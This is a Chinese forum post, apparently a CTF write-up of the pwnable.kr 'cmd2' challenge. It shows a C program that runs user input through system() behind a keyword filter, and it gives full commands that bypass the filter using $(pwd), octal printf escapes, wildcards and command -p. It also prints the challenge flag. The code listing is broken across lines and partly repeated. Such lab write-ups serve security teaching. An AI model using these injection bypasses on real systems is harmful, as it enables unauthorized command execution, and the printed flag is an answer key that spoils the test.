-
-
[分享]pwnable.kr cmd2 day13
-
发表于: 2021-1-15 20:16 9860
-
可通过运行 cmd2 文件临时获得与 cmd2_pwn 相同的权限。
与 cmd1 相比,难度在于过滤了 /
我们可以通过 pwd 或者用 / 的 ascii 码来绕过 对 / 的过滤,也可利用 command -p 来避免使用 /
用通配符绕过对 flag 的过滤
红框内为 flagFuN_w1th_5h3ll_v4riabl3s_haha
首先进入根目录,此时 pwd 为 /
然后执行/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*'
因为 cat 与 /home 之间有空格隔开,所以需要添加引号
使用 ascii 码来代替字符的时候只能使用八进制
/ 的 ascii 码十六进制为 2f 八进制为 57./cmd2 '$(printf \\57bin\\57cat) fl*'
如果直接执行 cat flag 会提示找不到 cat 指令,这是需要利用 command -p 来寻找 cat 指令。
command -p 使用 PATH 环境变量的缺省值执行命令搜索;查找所有命令
PATH缺省值:export PATH=/usr/local/sbin/:/usr/local/bin:/sbin:/bin:/usr/bin:/root/bin
#include <stdio.h>
#include <string.h>
int
filter
(char
*
cmd){
int
r
=
0
;
r
+
=
strstr(cmd,
"="
)!
=
0
;
r
+
=
strstr(cmd,
"PATH"
)!
=
0
;
r
+
=
strstr(cmd,
"export"
)!
=
0
;
r
+
=
strstr(cmd,
"/"
)!
=
0
;
r
+
=
strstr(cmd,
"`"
)!
=
0
;
r
+
=
strstr(cmd,
"flag"
)!
=
0
;
return
r;
}
extern char
*
*
environ;
void delete_env(){
char
*
*
p;
for
(p
=
environ;
*
p; p
+
+
) memset(
*
p,
0
, strlen(
*
p));
}
int
main(
int
argc, char
*
argv[], char
*
*
envp){
delete_env();
/
/
清除所有环境变量
putenv(
"PATH=/no_command_execution_until_you_become_a_hacker"
);
if
(
filter
(argv[
1
]))
return
0
;
/
/
输入的命令不能包含
=
PATH export
/
` flag 这六个字符
printf(
"%s\n"
, argv[
1
]);
system( argv[
1
] );
return
0
;
}
#include <stdio.h>
#include <string.h>
int
filter
(char
*
cmd){
int
r
=
0
;
r
+
=
strstr(cmd,
"="
)!
=
0
;
r
+
=
strstr(cmd,
"PATH"
)!
=
0
;
r
+
=
strstr(cmd,
"export"
)!
=
0
;
r
+
=
strstr(cmd,
"/"
)!
=
0
;
r
+
=
strstr(cmd,
"`"
)!
=
0
;
r
+
=
strstr(cmd,
"flag"
)!
=
0
;
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
赞赏
他的文章
- [原创]pwnable.kr horcruxes 10813
- [分享] pwnable.kr blukat 10018
- [分享] pwnable.kr unlink 9523
- [分享] pwnable.kr asm 10740
- [分享] pwnable.kr memcpy 10495
看原图
赞赏
雪币:
留言: